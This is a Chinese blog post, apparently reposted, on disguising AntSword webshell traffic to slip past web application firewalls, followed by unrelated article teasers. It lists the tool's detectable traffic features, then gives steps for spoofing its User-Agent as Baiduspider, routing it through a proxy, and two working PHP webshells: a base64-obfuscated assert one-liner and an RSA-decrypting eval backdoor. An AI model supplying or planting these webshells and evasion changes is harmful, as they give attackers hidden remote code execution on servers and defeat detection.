蚁剑修改特征性信息

news2025/2/23 12:03:02

 前言

我们首先得知道蚁剑的流量特征:

  1. 编码器和解码器的特征:蚁剑自带的编码器和解码器具有明显的特点,可以通过更改配置文件来达到流量加密的目的1。例如,蚁剑支持多种编码方式,如base64、chr、rot13等,这些编码方式虽然可以对数据进行加密,但在数据包中仍然存在一定的特征。

  2. UA头特征:蚁剑的User-Agent头部具有特定的版本标识,例如antSword/v2.1,这是一个很明显的特征,可以通过更改UA头来进行伪装。

  3. Webshell静态特征:蚁剑在不同的服务器端语言中使用特定的函数执行代码,如PHP中的asserteval,ASP中的eval,以及JSP中的Java类加载(ClassLoader)等。

  4. 动态流量特征:蚁剑的动态特征包括请求体和响应体的特定格式。例如,请求体通常以@ini_set("display_errors","0");@set_time_limit(0);开头,而响应体则可能是经过base64编码和混淆字符处理的格式。

  5. 参数名特征:蚁剑的流量中,参数名往往以_0x.....=的形式出现,这种特定的参数名格式可以作为识别蚁剑流量的一个特征。

  6. 流量加密和代理中转:蚁剑可以通过代理工具和自定义加密方法来进一步隐藏其流量特征,使得流量分析和检测变得更加困难。

  7. RSA编码器:从AntSword v2.1.0版本开始,蚁剑新增了PHP RSA编码器,这可以用于生成加密的PHP shell代码,进一步增强了流量的隐蔽性。

这篇文章将通过简单修改蚁剑的UA来绕过WAF。

修改位置

  • 蚁剑代理通道修改

  • UA特征伪造

  • RSA流量加密

 具体操作

1.蚁剑代理通道修改

蚁剑代理通道设置(前提是必须有这个代理):

图片

2.UA特征伪造

蚁剑默认UA:

图片

主要修改的位置:

/modules/request.js

这边主要是推荐百度UA,具体自己可以百度下其他UA,都可以根据需要来进行设置:

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

原来的UA:

图片

UA修改后(百度UA爬虫):

图片

/modules/update.js

同样的方法,将UA头修改为百度爬虫:

修改前:

图片

修改后UA头:

图片

通过以上修改后,抓包查看:

图片

3.RSA流量加密

蚁剑从2.1开始支持了RSA加密算法,但是仅仅支持php。
在我们隐藏流量中无非就是采用对称密钥加密和非对称密钥加密。

<?php $k=base64_decode('YXNzZXJ0'); $k($_POST['cmd']); ?>
 

注意这里YXNzZxJ0 base64解密为assert,eval不可以。因为eval属于语言构造器,在php中不能来回调,类似call_user_function()。

其中数据请求包中存在eval关键字,还是容易被waf检测到,所以UA头一定要记得修改。

采用RSA加密

新建一个rsa编码器

<?php$cmd = @$_POST['ant'];$pk = <<<EOF-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjQSEjYvGaB7q7G5bjKs2b+v34XZ5/XhHDScxpv88C+fDv6IwxErr0kwcOp+an21tTtRF7Wl4MbEksL6wE3PNPt39k8i4PBfg51IjBYOmer8AHqr9qyDZq5XgK65yOCWsOIN8+fuP7DtvRxfTFoBNK6O3NeAKyYF0SRzIqPz8CvwIDAQAB-----END PUBLIC KEY-----EOF;$cmds = explode("|", $cmd);$pk = openssl_pkey_get_public($pk);$cmd = '';foreach ($cmds as $value) {  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {    $cmd .= $de;  }}eval($cmd);
 

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1576398.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++中的inline用法

1. 引入inline关键字的原因 在c/c中&#xff0c;为了解决一些频繁调用的小函数大量消耗栈空间&#xff08;栈内存&#xff09;的问题&#xff0c;特别的引入了inline修饰符&#xff0c;表示为内联函数。 栈空间就是指放置程序的局部数据&#xff08;也就是函数内数据&#xf…

初识Java中的NIO

1.概述 Java NIO 全称java non-blocking IO &#xff0c;是指 JDK 提供的新 API。从 JDK1.4 开始&#xff0c;Java 提供了一系列改进的输入/输出新特性&#xff0c;被统称为 NIO(即 New IO)&#xff0c;是同步非阻塞的。NIO采用内存映射文件的方式来处理输入输出&#xff0c;NI…

【C++进阶】哈希表(哈希函数、哈希冲突、开散列、闭散列)

&#x1fa90;&#x1fa90;&#x1fa90;欢迎来到程序员餐厅&#x1f4ab;&#x1f4ab;&#x1f4ab; 主厨&#xff1a;邪王真眼 主厨的主页&#xff1a;Chef‘s blog 所属专栏&#xff1a;c大冒险 总有光环在陨落&#xff0c;总有新星在闪烁 引言&#xff1a; 我们之前…

CSS 学习笔记 总结

CSS 布局方式 • 表格布局 • 元素定位 • 浮动布局&#xff08;注意浮动的负效应&#xff09; • flex布局 • grid布局&#xff08;感兴趣的可以看下菜鸟教程&#xff09; 居中设置 元素水平居中 • 设置宽度后&#xff0c;margin设置为auto • 父容器设置text-alig…

鸿蒙原生应用已超4000个!

鸿蒙原生应用已超4000个&#xff01; 来自 HarmonyOS 微博近期消息&#xff0c;#鸿蒙千帆起# 重大里程碑&#xff01;目前已有超4000个应用加入鸿蒙生态。从今年1月18日华为宣布首批200多家应用厂商正在加速开发鸿蒙原生应用&#xff0c;到3月底超4000个应用&#xff0c;短短…

【ARMv7-M】| 01——阅读笔记 | 简介|应用程序级编程和内存模型

系列文章目录 【ARMv7-M】| 01——阅读笔记 | 简介|应用程序级编程和内存模型 失败了也挺可爱&#xff0c;成功了就超帅。 文章目录 前言1、简介2、应用程序级编程模型2.1 编程模式和访问等级2.2 数据类型和运算操作2.3 寄存器和执行状态1.2.4 异常和中断1.2.5 浮点单元寄存器…

android 资源文件混淆

AGP7.0以上引用AndResGuard有坑 记录下 在项目的build.gradle中添加如下 buildscript {ext.kotlin_version "1.4.31"repositories {google()jcenter()maven {url "https://s01.oss.sonatype.org/content/repositories/snapshots/"}}dependencies {class…

【RISC-V 指令集】RISC-V 向量V扩展指令集介绍(七)- 向量算术指令格式

1. 引言 以下是《riscv-v-spec-1.0.pdf》文档的关键内容&#xff1a; 这是一份关于向量扩展的详细技术文档&#xff0c;内容覆盖了向量指令集的多个关键方面&#xff0c;如向量寄存器状态映射、向量指令格式、向量加载和存储操作、向量内存对齐约束、向量内存一致性模型、向量…

成功案例(IF=13.263)| 基因组+重测序+GWAS揭示豇豆传播过程中基因组的变化及荚果相关性状的遗传调控关键位点

研究背景 豇豆&#xff08;Vigna unguiculata (L.) Walp.&#xff09;&#xff0c;豆科的一员&#xff0c;是一种一年生的热带或亚热带草本植物&#xff0c;用于人类食物和动物饲料&#xff0c;作为青粪、干草或青贮饲料。有两种主要栽培亚种Vigna unguiculata ssp. sesquiped…

文档管理系统解决方案(word原件)

1.系统概述 1.1.需求描述 1.2.需求分析 1.3.重难点分析 1.4.重难点解决措施 2.系统架构设计 2.1.系统架构图 2.2.关键技术 数据备份技术 3.系统功能设计 3.1.功能清单列表 3.2.基础数据管理 3.3.位置管理 3.4.文档使用 3.5.文档管理 软件全套资料包获取方式①&#xff1a;软件项…

leetcode热题100.接雨水

Problem: 42. 接雨水 文章目录 题目思路复杂度Code 题目 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水。 示例 1&#xff1a; 输入&#xff1a;height [0,1,0,2,1,0,1,3,2,1,2,1] 输出&#xff1a;6 …

pyside6,“提升为”的部件使用困惑

在Qt designer中&#xff0c;新建一个QMainWindow&#xff0c;新建一个QWidget&#xff0c;并命名为widget&#xff0c;如图&#xff1a; 新建NewClass.py&#xff0c;输入代码&#xff1a; # encoding: utf-8 from PySide6.QtWidgets import QWidgetclass NewClass(QWidget):…

【JavaScript】原型链/作用域/this指针/闭包

1.原型链 参考资料&#xff1a;Annotated ES5 ECMAScript起初并不支持如C、Smalltalk 或 Java 中“类”的形式创建对象&#xff0c;而是通过字面量表示法或者构造函数创建对象。每个构造函数都是一个具有名为“prototype”的属性的函数&#xff0c;该属性用于实现基于原型的继…

mysql的索引类型与数据存储

mysql索引与类型 什么是索引&#xff1f; 索引&#xff08;Index&#xff09;是帮助MySQL高效获取数据的数据结构。我们可以简单理解为&#xff1a;快速查找排好序的一种数据结构。Mysql索引主要有两种结构&#xff1a;BTree索引和Hash索引。我们平常所说的索引&#xff0c;如…

真实的招生办对话邮件及美国高校官网更新的反 AI 政策

这两年 ChatGPT 的热度水涨船高&#xff0c;其编写功能强大&#xff0c;且具备强大的信息整合效果&#xff0c;所以呈现的内容在一定程度上具备可读性。 那么&#xff0c;美国留学文书可以用 ChatGPT 写吗&#xff1f;使用是否有风险&#xff1f;外网博主 Kushi Uppu 在这个申…

鸿蒙学习记录

问题小测记录 总结链接&#xff1a;小测总结 学习笔记&#xff1a;鸿蒙开发学习记录 1、 main_pages.json存放页面page路径配置信息。 2、在stage模型中&#xff0c;下列配置文件属于AppScope文件夹的是&#xff1f; app.json5 3、module.json5配置文件中&#xff0c;包含…

自然语言处理技术(Natural Language Processing)知识点

自然语言处理知识点 自然语言处理1. word2vec是什么2. 常用的NLP工具和软件3. 朴素贝叶斯分类器4. BiLSTM-CRF模型怎么去实现5. Bert模型实现NER6. 命名实体识别任务中&#xff0c;怎么去处理数据分布不均的问题&#xff1f;7. 用户问题检索相关文本时&#xff0c;具体都用了哪…

解决报错 npm ERR! Missing script:“serve“

项目场景&#xff1a; 在运行vue项目时&#xff0c;遇到报错&#xff01;导致无法启动&#xff01; 问题描述 报错&#xff1a;npm犯错!缺少脚本:“serve” npm ERR! Missing script:"servenpmERR!ERR! To see a list of scripts, run:noMnpmERR!npm runnpm ERR! A compl…

HiveSQL如何生成连续日期剖析

HiveSQL如何生成连续日期剖析 情景假设&#xff1a; 有一结果表&#xff0c;表中有start_dt和end_dt两个字段&#xff0c;&#xff0c;想要根据开始和结束时间生成连续日期的多条数据&#xff0c;应该怎么做&#xff1f;直接上结果sql。&#xff08;为了便于演示和测试这里通过…

一个项目的SpringCloud微服务改造过程

SSO是公司一个已经存在了若干年的项目&#xff0c;后端采用SpringMVC、MyBatis&#xff0c;数据库使用MySQL&#xff0c;前端展示使用Freemark。今年&#xff0c;我们对该项目进行了一次革命性的改进&#xff0c;改造成SpringCloud架构&#xff0c;并且把前后端分离&#xff0c…